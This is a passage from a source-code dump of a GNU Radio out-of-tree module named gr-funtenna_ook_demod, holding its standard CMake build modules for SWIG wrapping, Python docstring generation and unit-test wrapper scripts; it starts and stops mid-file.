${CMAKE_BINARY_DIR}/python_compile_helper.py " 236 | import sys, py_compile 237 | files = sys.argv[1:] 238 | srcs, gens = files[:len(files)/2], files[len(files)/2:] 239 | for src, gen in zip(srcs, gens): 240 | py_compile.compile(file=src, cfile=gen, doraise=True) 241 | ") 242 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/cmake/Modules/GrSwig.cmake: -------------------------------------------------------------------------------- 1 | # Copyright 2010-2011 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | if(DEFINED __INCLUDED_GR_SWIG_CMAKE) 21 | return() 22 | endif() 23 | set(__INCLUDED_GR_SWIG_CMAKE TRUE) 24 | 25 | include(GrPython) 26 | 27 | ######################################################################## 28 | # Builds a swig documentation file to be generated into python docstrings 29 | # Usage: GR_SWIG_MAKE_DOCS(output_file input_path input_path....) 30 | # 31 | # Set the following variable to specify extra dependent targets: 32 | # - GR_SWIG_DOCS_SOURCE_DEPS 33 | # - GR_SWIG_DOCS_TARGET_DEPS 34 | ######################################################################## 35 | function(GR_SWIG_MAKE_DOCS output_file) 36 | if(ENABLE_DOXYGEN) 37 | 38 | #setup the input files variable list, quote formated 39 | set(input_files) 40 | unset(INPUT_PATHS) 41 | foreach(input_path ${ARGN}) 42 | if(IS_DIRECTORY ${input_path}) #when input path is a directory 43 | file(GLOB input_path_h_files ${input_path}/*.h) 44 | else() #otherwise its just a file, no glob 45 | set(input_path_h_files ${input_path}) 46 | endif() 47 | list(APPEND input_files ${input_path_h_files}) 48 | set(INPUT_PATHS "${INPUT_PATHS} \"${input_path}\"") 49 | endforeach(input_path) 50 | 51 | #determine the output directory 52 | get_filename_component(name ${output_file} NAME_WE) 53 | get_filename_component(OUTPUT_DIRECTORY ${output_file} PATH) 54 | set(OUTPUT_DIRECTORY ${OUTPUT_DIRECTORY}/${name}_swig_docs) 55 | make_directory(${OUTPUT_DIRECTORY}) 56 | 57 | #generate the Doxyfile used by doxygen 58 | configure_file( 59 | ${CMAKE_SOURCE_DIR}/docs/doxygen/Doxyfile.swig_doc.in 60 | ${OUTPUT_DIRECTORY}/Doxyfile 61 | @ONLY) 62 | 63 | #Create a dummy custom command that depends on other targets 64 | include(GrMiscUtils) 65 | GR_GEN_TARGET_DEPS(_${name}_tag tag_deps ${GR_SWIG_DOCS_TARGET_DEPS}) 66 | 67 | #call doxygen on the Doxyfile + input headers 68 | add_custom_command( 69 | OUTPUT ${OUTPUT_DIRECTORY}/xml/index.xml 70 | DEPENDS ${input_files} ${GR_SWIG_DOCS_SOURCE_DEPS} ${tag_deps} 71 | COMMAND ${DOXYGEN_EXECUTABLE} ${OUTPUT_DIRECTORY}/Doxyfile 72 | COMMENT "Generating doxygen xml for ${name} docs" 73 | ) 74 | 75 | #call the swig_doc script on the xml files 76 | add_custom_command( 77 | OUTPUT ${output_file} 78 | DEPENDS ${input_files} ${stamp-file} ${OUTPUT_DIRECTORY}/xml/index.xml 79 | COMMAND ${PYTHON_EXECUTABLE} ${PYTHON_DASH_B} 80 | ${CMAKE_SOURCE_DIR}/docs/doxygen/swig_doc.py 81 | ${OUTPUT_DIRECTORY}/xml 82 | ${output_file} 83 | COMMENT "Generating python docstrings for ${name}" 84 | WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}/docs/doxygen 85 | ) 86 | 87 | else(ENABLE_DOXYGEN) 88 | file(WRITE ${output_file} "\n") #no doxygen -> empty file 89 | endif(ENABLE_DOXYGEN) 90 | endfunction(GR_SWIG_MAKE_DOCS) 91 | 92 | ######################################################################## 93 | # Build a swig target for the common gnuradio use case. Usage: 94 | # GR_SWIG_MAKE(target ifile ifile ifile...) 95 | # 96 | # Set the following variables before calling: 97 | # - GR_SWIG_FLAGS 98 | # - GR_SWIG_INCLUDE_DIRS 99 | # - GR_SWIG_LIBRARIES 100 | # - GR_SWIG_SOURCE_DEPS 101 | # - GR_SWIG_TARGET_DEPS 102 | # - GR_SWIG_DOC_FILE 103 | # - GR_SWIG_DOC_DIRS 104 | ######################################################################## 105 | macro(GR_SWIG_MAKE name) 106 | set(ifiles ${ARGN}) 107 | 108 | # Shimming this in here to take care of a SWIG bug with handling 109 | # vector and vector (on 32-bit machines) and 110 | # vector (on 64-bit machines). Use this to test 111 | # the size of size_t, then set SIZE_T_32 if it's a 32-bit machine 112 | # or not if it's 64-bit. The logic in gr_type.i handles the rest. 113 | INCLUDE(CheckTypeSize) 114 | CHECK_TYPE_SIZE("size_t" SIZEOF_SIZE_T) 115 | CHECK_TYPE_SIZE("unsigned int" SIZEOF_UINT) 116 | if(${SIZEOF_SIZE_T} EQUAL ${SIZEOF_UINT}) 117 | list(APPEND GR_SWIG_FLAGS -DSIZE_T_32) 118 | endif(${SIZEOF_SIZE_T} EQUAL ${SIZEOF_UINT}) 119 | 120 | #do swig doc generation if specified 121 | if(GR_SWIG_DOC_FILE) 122 | set(GR_SWIG_DOCS_SOURCE_DEPS ${GR_SWIG_SOURCE_DEPS}) 123 | list(APPEND GR_SWIG_DOCS_TARGET_DEPS ${GR_SWIG_TARGET_DEPS}) 124 | GR_SWIG_MAKE_DOCS(${GR_SWIG_DOC_FILE} ${GR_SWIG_DOC_DIRS}) 125 | add_custom_target(${name}_swig_doc DEPENDS ${GR_SWIG_DOC_FILE}) 126 | list(APPEND GR_SWIG_TARGET_DEPS ${name}_swig_doc ${GR_RUNTIME_SWIG_DOC_FILE}) 127 | endif() 128 | 129 | #append additional include directories 130 | find_package(PythonLibs 2) 131 | list(APPEND GR_SWIG_INCLUDE_DIRS ${PYTHON_INCLUDE_PATH}) #deprecated name (now dirs) 132 | list(APPEND GR_SWIG_INCLUDE_DIRS ${PYTHON_INCLUDE_DIRS}) 133 | 134 | #prepend local swig directories 135 | list(INSERT GR_SWIG_INCLUDE_DIRS 0 ${CMAKE_CURRENT_SOURCE_DIR}) 136 | list(INSERT GR_SWIG_INCLUDE_DIRS 0 ${CMAKE_CURRENT_BINARY_DIR}) 137 | 138 | #determine include dependencies for swig file 139 | execute_process( 140 | COMMAND ${PYTHON_EXECUTABLE} 141 | ${CMAKE_BINARY_DIR}/get_swig_deps.py 142 | "${ifiles}" "${GR_SWIG_INCLUDE_DIRS}" 143 | OUTPUT_STRIP_TRAILING_WHITESPACE 144 | OUTPUT_VARIABLE SWIG_MODULE_${name}_EXTRA_DEPS 145 | WORKING_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} 146 | ) 147 | 148 | #Create a dummy custom command that depends on other targets 149 | include(GrMiscUtils) 150 | GR_GEN_TARGET_DEPS(_${name}_swig_tag tag_deps ${GR_SWIG_TARGET_DEPS}) 151 | set(tag_file ${CMAKE_CURRENT_BINARY_DIR}/${name}.tag) 152 | add_custom_command( 153 | OUTPUT ${tag_file} 154 | DEPENDS ${GR_SWIG_SOURCE_DEPS} ${tag_deps} 155 | COMMAND ${CMAKE_COMMAND} -E touch ${tag_file} 156 | ) 157 | 158 | #append the specified include directories 159 | include_directories(${GR_SWIG_INCLUDE_DIRS}) 160 | list(APPEND SWIG_MODULE_${name}_EXTRA_DEPS ${tag_file}) 161 | 162 | #setup the swig flags with flags and include directories 163 | set(CMAKE_SWIG_FLAGS -fvirtual -modern -keyword -w511 -module ${name} ${GR_SWIG_FLAGS}) 164 | foreach(dir ${GR_SWIG_INCLUDE_DIRS}) 165 | list(APPEND CMAKE_SWIG_FLAGS "-I${dir}") 166 | endforeach(dir) 167 | 168 | #set the C++ property on the swig .i file so it builds 169 | set_source_files_properties(${ifiles} PROPERTIES CPLUSPLUS ON) 170 | 171 | #setup the actual swig library target to be built 172 | include(UseSWIG) 173 | SWIG_ADD_MODULE(${name} python ${ifiles}) 174 | SWIG_LINK_LIBRARIES(${name} ${PYTHON_LIBRARIES} ${GR_SWIG_LIBRARIES}) 175 | if(${name} STREQUAL "runtime_swig") 176 | SET_TARGET_PROPERTIES(${SWIG_MODULE_runtime_swig_REAL_NAME} PROPERTIES DEFINE_SYMBOL "gnuradio_runtime_EXPORTS") 177 | endif(${name} STREQUAL "runtime_swig") 178 | 179 | endmacro(GR_SWIG_MAKE) 180 | 181 | ######################################################################## 182 | # Install swig targets generated by GR_SWIG_MAKE. Usage: 183 | # GR_SWIG_INSTALL( 184 | # TARGETS target target target... 185 | # [DESTINATION destination] 186 | # [COMPONENT component] 187 | # ) 188 | ######################################################################## 189 | macro(GR_SWIG_INSTALL) 190 | 191 | include(CMakeParseArgumentsCopy) 192 | CMAKE_PARSE_ARGUMENTS(GR_SWIG_INSTALL "" "DESTINATION;COMPONENT" "TARGETS" ${ARGN}) 193 | 194 | foreach(name ${GR_SWIG_INSTALL_TARGETS}) 195 | install(TARGETS ${SWIG_MODULE_${name}_REAL_NAME} 196 | DESTINATION ${GR_SWIG_INSTALL_DESTINATION} 197 | COMPONENT ${GR_SWIG_INSTALL_COMPONENT} 198 | ) 199 | 200 | include(GrPython) 201 | GR_PYTHON_INSTALL(FILES ${CMAKE_CURRENT_BINARY_DIR}/${name}.py 202 | DESTINATION ${GR_SWIG_INSTALL_DESTINATION} 203 | COMPONENT ${GR_SWIG_INSTALL_COMPONENT} 204 | ) 205 | 206 | GR_LIBTOOL( 207 | TARGET ${SWIG_MODULE_${name}_REAL_NAME} 208 | DESTINATION ${GR_SWIG_INSTALL_DESTINATION} 209 | ) 210 | 211 | endforeach(name) 212 | 213 | endmacro(GR_SWIG_INSTALL) 214 | 215 | ######################################################################## 216 | # Generate a python file that can determine swig dependencies. 217 | # Used by the make macro above to determine extra dependencies. 218 | # When you build C++, CMake figures out the header dependencies. 219 | # This code essentially performs that logic for swig includes. 220 | ######################################################################## 221 | file(WRITE ${CMAKE_BINARY_DIR}/get_swig_deps.py " 222 | 223 | import os, sys, re 224 | 225 | i_include_matcher = re.compile('%(include|import)\\s*[<|\"](.*)[>|\"]') 226 | h_include_matcher = re.compile('#(include)\\s*[<|\"](.*)[>|\"]') 227 | include_dirs = sys.argv[2].split(';') 228 | 229 | def get_swig_incs(file_path): 230 | if file_path.endswith('.i'): matcher = i_include_matcher 231 | else: matcher = h_include_matcher 232 | file_contents = open(file_path, 'r').read() 233 | return matcher.findall(file_contents, re.MULTILINE) 234 | 235 | def get_swig_deps(file_path, level): 236 | deps = [file_path] 237 | if level == 0: return deps 238 | for keyword, inc_file in get_swig_incs(file_path): 239 | for inc_dir in include_dirs: 240 | inc_path = os.path.join(inc_dir, inc_file) 241 | if not os.path.exists(inc_path): continue 242 | deps.extend(get_swig_deps(inc_path, level-1)) 243 | break #found, we dont search in lower prio inc dirs 244 | return deps 245 | 246 | if __name__ == '__main__': 247 | ifiles = sys.argv[1].split(';') 248 | deps = sum([get_swig_deps(ifile, 3) for ifile in ifiles], []) 249 | #sys.stderr.write(';'.join(set(deps)) + '\\n\\n') 250 | print(';'.join(set(deps))) 251 | ") 252 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/cmake/Modules/GrTest.cmake: -------------------------------------------------------------------------------- 1 | # Copyright 2010-2011 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | if(DEFINED __INCLUDED_GR_TEST_CMAKE) 21 | return() 22 | endif() 23 | set(__INCLUDED_GR_TEST_CMAKE TRUE) 24 | 25 | ######################################################################## 26 | # Add a unit test and setup the environment for a unit test. 27 | # Takes the same arguments as the ADD_TEST function. 28 | # 29 | # Before calling set the following variables: 30 | # GR_TEST_TARGET_DEPS - built targets for the library path 31 | # GR_TEST_LIBRARY_DIRS - directories for the library path 32 | # GR_TEST_PYTHON_DIRS - directories for the python path 33 | # GR_TEST_ENVIRONS - other environment key/value pairs 34 | ######################################################################## 35 | function(GR_ADD_TEST test_name) 36 | 37 | #Ensure that the build exe also appears in the PATH. 38 | list(APPEND GR_TEST_TARGET_DEPS ${ARGN}) 39 | 40 | #In the land of windows, all libraries must be in the PATH. 41 | #Since the dependent libraries are not yet installed, 42 | #we must manually set them in the PATH to run tests. 43 | #The following appends the path of a target dependency. 44 | foreach(target ${GR_TEST_TARGET_DEPS}) 45 | get_target_property(location ${target} LOCATION) 46 | if(location) 47 | get_filename_component(path ${location} PATH) 48 | string(REGEX REPLACE "\\$\\(.*\\)" ${CMAKE_BUILD_TYPE} path ${path}) 49 | list(APPEND GR_TEST_LIBRARY_DIRS ${path}) 50 | endif(location) 51 | endforeach(target) 52 | 53 | if(WIN32) 54 | #SWIG generates the python library files into a subdirectory. 55 | #Therefore, we must append this subdirectory into PYTHONPATH. 56 | #Only do this for the python directories matching the following: 57 | foreach(pydir ${GR_TEST_PYTHON_DIRS}) 58 | get_filename_component(name ${pydir} NAME) 59 | if(name MATCHES "^(swig|lib|src)$") 60 | list(APPEND GR_TEST_PYTHON_DIRS ${pydir}/${CMAKE_BUILD_TYPE}) 61 | endif() 62 | endforeach(pydir) 63 | endif(WIN32) 64 | 65 | file(TO_NATIVE_PATH ${CMAKE_CURRENT_SOURCE_DIR} srcdir) 66 | file(TO_NATIVE_PATH "${GR_TEST_LIBRARY_DIRS}" libpath) #ok to use on dir list? 67 | file(TO_NATIVE_PATH "${GR_TEST_PYTHON_DIRS}" pypath) #ok to use on dir list? 68 | 69 | set(environs "VOLK_GENERIC=1" "GR_DONT_LOAD_PREFS=1" "srcdir=${srcdir}") 70 | list(APPEND environs ${GR_TEST_ENVIRONS}) 71 | 72 | #http://www.cmake.org/pipermail/cmake/2009-May/029464.html 73 | #Replaced this add test + set environs code with the shell script generation. 74 | #Its nicer to be able to manually run the shell script to diagnose problems. 75 | #ADD_TEST(${ARGV}) 76 | #SET_TESTS_PROPERTIES(${test_name} PROPERTIES ENVIRONMENT "${environs}") 77 | 78 | if(UNIX) 79 | set(LD_PATH_VAR "LD_LIBRARY_PATH") 80 | if(APPLE) 81 | set(LD_PATH_VAR "DYLD_LIBRARY_PATH") 82 | endif() 83 | 84 | set(binpath "${CMAKE_CURRENT_BINARY_DIR}:$PATH") 85 | list(APPEND libpath "$${LD_PATH_VAR}") 86 | list(APPEND pypath "$PYTHONPATH") 87 | 88 | #replace list separator with the path separator 89 | string(REPLACE ";" ":" libpath "${libpath}") 90 | string(REPLACE ";" ":" pypath "${pypath}") 91 | list(APPEND environs "PATH=${binpath}" "${LD_PATH_VAR}=${libpath}" "PYTHONPATH=${pypath}") 92 | 93 | #generate a bat file that sets the environment and runs the test 94 | if (CMAKE_CROSSCOMPILING) 95 | set(SHELL "/bin/sh") 96 | else(CMAKE_CROSSCOMPILING) 97 | find_program(SHELL sh) 98 | endif(CMAKE_CROSSCOMPILING) 99 | set(sh_file ${CMAKE_CURRENT_BINARY_DIR}/${test_name}_test.sh) 100 | file(WRITE ${sh_file} "#!${SHELL}\n") 101 | #each line sets an environment variable 102 | foreach(environ ${environs}) 103 | file(APPEND ${sh_file} "export ${environ}\n") 104 | endforeach(environ) 105 | #load the command to run with its arguments 106 | foreach(arg ${ARGN}) 107 | file(APPEND ${sh_file} "${arg} ") 108 | endforeach(arg) 109 | file(APPEND ${sh_file} "\n") 110 | 111 | #make the shell file executable 112 | execute_process(COMMAND chmod +x ${sh_file}) 113 | 114 | add_test(${test_name} ${SHELL} ${sh_file}) 115 | 116 | endif(UNIX) 117 | 118 | if(WIN32) 119 | list(APPEND libpath ${DLL_PATHS} "%PATH%") 120 | list(APPEND pypath "%PYTHONPATH%") 121 | 122 | #replace list separator with the path separator (escaped) 123 | string(REPLACE ";" "\\;" libpath "${libpath}") 124 | string(REPLACE ";" "\\;" pypath "${pypath}") 125 | list(APPEND environs "PATH=${libpath}" "PYTHONPATH=${pypath}") 126 | 127 | #generate a bat file that sets the environment and runs the test 128 | set(bat_file ${CMAKE_CURRENT_BINARY_DIR}/${test_name}_test.bat) 129 | file(WRITE ${bat_file} "@echo off\n") 130 | #each line sets an environment variable 131 | foreach(environ ${environs}) 132 | file(APPEND ${bat_file} "SET ${environ}\n") 133 | endforeach(environ) 134 | #load the command to run with its arguments 135 | foreach(arg ${ARGN}) 136 | file(APPEND ${bat_file} "${arg} ") 137 | endforeach(arg) 138 | file(APPEND ${bat_file} "\n") 139 | 140 | add_test(${test_name} ${bat_file}) 141 | endif(WIN32) 142 | 143 | endfunction(GR_ADD_TEST) 144 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/cmake/Modules/UseSWIG.cmake: -------------------------------------------------------------------------------- 1 | # - SWIG module for CMake 2 | # Defines the following macros: 3 | # SWIG_ADD_MODULE(name language [ files ]) 4 | # - Define swig module with given name and specified language 5 | # SWIG_LINK_LIBRARIES(name [ libraries ]) 6 | # - Link libraries to swig module 7 | # All other macros are for internal use only. 8 | # To get the actual name of the swig module, 9 | # use: ${SWIG_MODULE_${name}_REAL_NAME}. 10 | # Set Source files properties such as CPLUSPLUS and SWIG_FLAGS to specify 11 | # special behavior of SWIG. Also global CMAKE_SWIG_FLAGS can be used to add 12 | # special flags to all swig calls. 13 | # Another special variable is CMAKE_SWIG_OUTDIR, it allows one to specify 14 | # where to write all the swig generated module (swig -outdir option) 15 | # The name-specific variable SWIG_MODULE__EXTRA_DEPS may be used 16 | # to specify extra dependencies for the generated modules. 17 | # If the source file generated by swig need some special flag you can use 18 | # set_source_files_properties( ${swig_generated_file_fullname} 19 | # PROPERTIES COMPILE_FLAGS "-bla") 20 | 21 | 22 | #============================================================================= 23 | # Copyright 2004-2009 Kitware, Inc. 24 | # Copyright 2009 Mathieu Malaterre 25 | # 26 | # Distributed under the OSI-approved BSD License (the "License"); 27 | # see accompanying file Copyright.txt for details. 28 | # 29 | # This software is distributed WITHOUT ANY WARRANTY; without even the 30 | # implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 31 | # See the License for more information. 32 | #============================================================================= 33 | # (To distribute this file outside of CMake, substitute the full 34 | # License text for the above reference.) 35 | 36 | set(SWIG_CXX_EXTENSION "cxx") 37 | set(SWIG_EXTRA_LIBRARIES "") 38 | 39 | set(SWIG_PYTHON_EXTRA_FILE_EXTENSION "py") 40 | 41 | # 42 | # For given swig module initialize variables associated with it 43 | # 44 | macro(SWIG_MODULE_INITIALIZE name language) 45 | string(TOUPPER "${language}" swig_uppercase_language) 46 | string(TOLOWER "${language}" swig_lowercase_language) 47 | set(SWIG_MODULE_${name}_LANGUAGE "${swig_uppercase_language}") 48 | set(SWIG_MODULE_${name}_SWIG_LANGUAGE_FLAG "${swig_lowercase_language}") 49 | 50 | set(SWIG_MODULE_${name}_REAL_NAME "${name}") 51 | if("${SWIG_MODULE_${name}_LANGUAGE}" STREQUAL "UNKNOWN") 52 | message(FATAL_ERROR "SWIG Error: Language \"${language}\" not found") 53 | elseif("${SWIG_MODULE_${name}_LANGUAGE}" STREQUAL "PYTHON") 54 | # when swig is used without the -interface it will produce in the module.py 55 | # a 'import _modulename' statement, which implies having a corresponding 56 | # _modulename.so (*NIX), _modulename.pyd (Win32). 57 | set(SWIG_MODULE_${name}_REAL_NAME "_${name}") 58 | elseif("${SWIG_MODULE_${name}_LANGUAGE}" STREQUAL "PERL") 59 | set(SWIG_MODULE_${name}_EXTRA_FLAGS "-shadow") 60 | endif() 61 | endmacro() 62 | 63 | # 64 | # For a given language, input file, and output file, determine extra files that 65 | # will be generated. This is internal swig macro. 66 | # 67 | 68 | macro(SWIG_GET_EXTRA_OUTPUT_FILES language outfiles generatedpath infile) 69 | set(${outfiles} "") 70 | get_source_file_property(SWIG_GET_EXTRA_OUTPUT_FILES_module_basename 71 | ${infile} SWIG_MODULE_NAME) 72 | if(SWIG_GET_EXTRA_OUTPUT_FILES_module_basename STREQUAL "NOTFOUND") 73 | get_filename_component(SWIG_GET_EXTRA_OUTPUT_FILES_module_basename "${infile}" NAME_WE) 74 | endif() 75 | foreach(it ${SWIG_${language}_EXTRA_FILE_EXTENSION}) 76 | set(${outfiles} ${${outfiles}} 77 | "${generatedpath}/${SWIG_GET_EXTRA_OUTPUT_FILES_module_basename}.${it}") 78 | endforeach() 79 | endmacro() 80 | 81 | # 82 | # Take swig (*.i) file and add proper custom commands for it 83 | # 84 | macro(SWIG_ADD_SOURCE_TO_MODULE name outfiles infile) 85 | set(swig_full_infile ${infile}) 86 | get_filename_component(swig_source_file_path "${infile}" PATH) 87 | get_filename_component(swig_source_file_name_we "${infile}" NAME_WE) 88 | get_source_file_property(swig_source_file_generated ${infile} GENERATED) 89 | get_source_file_property(swig_source_file_cplusplus ${infile} CPLUSPLUS) 90 | get_source_file_property(swig_source_file_flags ${infile} SWIG_FLAGS) 91 | if("${swig_source_file_flags}" STREQUAL "NOTFOUND") 92 | set(swig_source_file_flags "") 93 | endif() 94 | set(swig_source_file_fullname "${infile}") 95 | if(${swig_source_file_path} MATCHES "^${CMAKE_CURRENT_SOURCE_DIR}") 96 | string(REGEX REPLACE 97 | "^${CMAKE_CURRENT_SOURCE_DIR}" "" 98 | swig_source_file_relative_path 99 | "${swig_source_file_path}") 100 | else() 101 | if(${swig_source_file_path} MATCHES "^${CMAKE_CURRENT_BINARY_DIR}") 102 | string(REGEX REPLACE 103 | "^${CMAKE_CURRENT_BINARY_DIR}" "" 104 | swig_source_file_relative_path 105 | "${swig_source_file_path}") 106 | set(swig_source_file_generated 1) 107 | else() 108 | set(swig_source_file_relative_path "${swig_source_file_path}") 109 | if(swig_source_file_generated) 110 | set(swig_source_file_fullname "${CMAKE_CURRENT_BINARY_DIR}/${infile}") 111 | else() 112 | set(swig_source_file_fullname "${CMAKE_CURRENT_SOURCE_DIR}/${infile}") 113 | endif() 114 | endif() 115 | endif() 116 | 117 | set(swig_generated_file_fullname 118 | "${CMAKE_CURRENT_BINARY_DIR}") 119 | if(swig_source_file_relative_path) 120 | set(swig_generated_file_fullname 121 | "${swig_generated_file_fullname}/${swig_source_file_relative_path}") 122 | endif() 123 | # If CMAKE_SWIG_OUTDIR was specified then pass it to -outdir 124 | if(CMAKE_SWIG_OUTDIR) 125 | set(swig_outdir ${CMAKE_SWIG_OUTDIR}) 126 | else() 127 | set(swig_outdir ${CMAKE_CURRENT_BINARY_DIR}) 128 | endif() 129 | SWIG_GET_EXTRA_OUTPUT_FILES(${SWIG_MODULE_${name}_LANGUAGE} 130 | swig_extra_generated_files 131 | "${swig_outdir}" 132 | "${infile}") 133 | set(swig_generated_file_fullname 134 | "${swig_generated_file_fullname}/${swig_source_file_name_we}") 135 | # add the language into the name of the file (i.e. TCL_wrap) 136 | # this allows for the same .i file to be wrapped into different languages 137 | set(swig_generated_file_fullname 138 | "${swig_generated_file_fullname}${SWIG_MODULE_${name}_LANGUAGE}_wrap") 139 | 140 | if(swig_source_file_cplusplus) 141 | set(swig_generated_file_fullname 142 | "${swig_generated_file_fullname}.${SWIG_CXX_EXTENSION}") 143 | else() 144 | set(swig_generated_file_fullname 145 | "${swig_generated_file_fullname}.c") 146 | endif() 147 | 148 | # Shut up some warnings from poor SWIG code generation that we 149 | # can do nothing about, when this flag is available 150 | include(CheckCXXCompilerFlag) 151 | check_cxx_compiler_flag("-Wno-unused-but-set-variable" HAVE_WNO_UNUSED_BUT_SET_VARIABLE) 152 | if(HAVE_WNO_UNUSED_BUT_SET_VARIABLE) 153 | set_source_files_properties(${swig_generated_file_fullname} 154 | PROPERTIES COMPILE_FLAGS "-Wno-unused-but-set-variable") 155 | endif(HAVE_WNO_UNUSED_BUT_SET_VARIABLE) 156 | 157 | get_directory_property(cmake_include_directories INCLUDE_DIRECTORIES) 158 | set(swig_include_dirs) 159 | foreach(it ${cmake_include_directories}) 160 | set(swig_include_dirs ${swig_include_dirs} "-I${it}") 161 | endforeach() 162 | 163 | set(swig_special_flags) 164 | # default is c, so add c++ flag if it is c++ 165 | if(swig_source_file_cplusplus) 166 | set(swig_special_flags ${swig_special_flags} "-c++") 167 | endif() 168 | set(swig_extra_flags) 169 | if(SWIG_MODULE_${name}_EXTRA_FLAGS) 170 | set(swig_extra_flags ${swig_extra_flags} ${SWIG_MODULE_${name}_EXTRA_FLAGS}) 171 | endif() 172 | 173 | # hack to work around CMake bug in add_custom_command with multiple OUTPUT files 174 | 175 | file(RELATIVE_PATH reldir ${CMAKE_BINARY_DIR} ${CMAKE_CURRENT_BINARY_DIR}) 176 | execute_process( 177 | COMMAND ${PYTHON_EXECUTABLE} -c "import re, hashlib 178 | unique = hashlib.md5('${reldir}${ARGN}').hexdigest()[:5] 179 | print(re.sub('\\W', '_', '${name} ${reldir} ' + unique))" 180 | OUTPUT_VARIABLE _target OUTPUT_STRIP_TRAILING_WHITESPACE 181 | ) 182 | 183 | file( 184 | WRITE ${CMAKE_CURRENT_BINARY_DIR}/${_target}.cpp.in 185 | "int main(void){return 0;}\n" 186 | ) 187 | 188 | # create dummy dependencies 189 | add_custom_command( 190 | OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/${_target}.cpp 191 | COMMAND ${CMAKE_COMMAND} -E copy 192 | ${CMAKE_CURRENT_BINARY_DIR}/${_target}.cpp.in 193 | ${CMAKE_CURRENT_BINARY_DIR}/${_target}.cpp 194 | DEPENDS "${swig_source_file_fullname}" ${SWIG_MODULE_${name}_EXTRA_DEPS} 195 | COMMENT "" 196 | ) 197 | 198 | # create the dummy target 199 | add_executable(${_target} ${CMAKE_CURRENT_BINARY_DIR}/${_target}.cpp) 200 | 201 | # add a custom command to the dummy target 202 | add_custom_command( 203 | TARGET ${_target} 204 | # Let's create the ${swig_outdir} at execution time, in case dir contains $(OutDir) 205 | COMMAND ${CMAKE_COMMAND} -E make_directory ${swig_outdir} 206 | COMMAND "${SWIG_EXECUTABLE}" 207 | ARGS "-${SWIG_MODULE_${name}_SWIG_LANGUAGE_FLAG}" 208 | ${swig_source_file_flags} 209 | ${CMAKE_SWIG_FLAGS} 210 | -outdir ${swig_outdir} 211 | ${swig_special_flags} 212 | ${swig_extra_flags} 213 | ${swig_include_dirs} 214 | -o "${swig_generated_file_fullname}" 215 | "${swig_source_file_fullname}" 216 | COMMENT "Swig source" 217 | ) 218 | 219 | #add dummy independent dependencies from the _target to each file 220 | #that will be generated by the SWIG command above 221 | 222 | set(${outfiles} "${swig_generated_file_fullname}" ${swig_extra_generated_files}) 223 | 224 | foreach(swig_gen_file ${${outfiles}}) 225 | add_custom_command( 226 | OUTPUT ${swig_gen_file} 227 | COMMAND "" 228 | DEPENDS ${_target} 229 | COMMENT "" 230 | ) 231 | endforeach() 232 | 233 | set_source_files_properties( 234 | ${outfiles} PROPERTIES GENERATED 1 235 | ) 236 | 237 | endmacro() 238 | 239 | # 240 | # Create Swig module 241 | # 242 | macro(SWIG_ADD_MODULE name language) 243 | SWIG_MODULE_INITIALIZE(${name} ${language}) 244 | set(swig_dot_i_sources) 245 | set(swig_other_sources) 246 | foreach(it ${ARGN}) 247 | if(${it} MATCHES ".*\\.i$") 248 | set(swig_dot_i_sources ${swig_dot_i_sources} "${it}") 249 | else() 250 | set(swig_other_sources ${swig_other_sources} "${it}") 251 | endif() 252 | endforeach() 253 | 254 | set(swig_generated_sources) 255 | foreach(it ${swig_dot_i_sources}) 256 | SWIG_ADD_SOURCE_TO_MODULE(${name} swig_generated_source ${it}) 257 | set(swig_generated_sources ${swig_generated_sources} "${swig_generated_source}") 258 | endforeach() 259 | get_directory_property(swig_extra_clean_files ADDITIONAL_MAKE_CLEAN_FILES) 260 | set_directory_properties(PROPERTIES 261 | ADDITIONAL_MAKE_CLEAN_FILES "${swig_extra_clean_files};${swig_generated_sources}") 262 | add_library(${SWIG_MODULE_${name}_REAL_NAME} 263 | MODULE 264 | ${swig_generated_sources} 265 | ${swig_other_sources}) 266 | string(TOLOWER "${language}" swig_lowercase_language) 267 | if ("${swig_lowercase_language}" STREQUAL "java") 268 | if (APPLE) 269 | # In java you want: 270 | # System.loadLibrary("LIBRARY"); 271 | # then JNI will look for a library whose name is platform dependent, namely 272 | # MacOS : libLIBRARY.jnilib 273 | # Windows: LIBRARY.dll 274 | # Linux : libLIBRARY.so 275 | set_target_properties (${SWIG_MODULE_${name}_REAL_NAME} PROPERTIES SUFFIX ".jnilib") 276 | endif () 277 | endif () 278 | if ("${swig_lowercase_language}" STREQUAL "python") 279 | # this is only needed for the python case where a _modulename.so is generated 280 | set_target_properties(${SWIG_MODULE_${name}_REAL_NAME} PROPERTIES PREFIX "") 281 | # Python extension modules on Windows must have the extension ".pyd" 282 | # instead of ".dll" as of Python 2.5. Older python versions do support 283 | # this suffix. 284 | # http://docs.python.org/whatsnew/ports.html#SECTION0001510000000000000000 285 | # 286 | # Windows: .dll is no longer supported as a filename extension for extension modules. 287 | # .pyd is now the only filename extension that will be searched for. 288 